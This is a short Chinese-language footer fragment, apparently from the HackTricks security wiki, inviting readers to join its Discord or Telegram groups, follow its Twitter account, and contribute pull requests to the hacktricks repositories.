* **加入** [💬](https://emojipedia.org/speech-balloon/) [Discord 群组](https://discord.gg/hRep4RUj7f) 或 [Telegram 群组](https://t.me/peass) 或 **关注**我的 **Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)**。**
* **通过向** [hacktricks 仓库](https://github.com/carlospolop/hacktricks) **和** [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>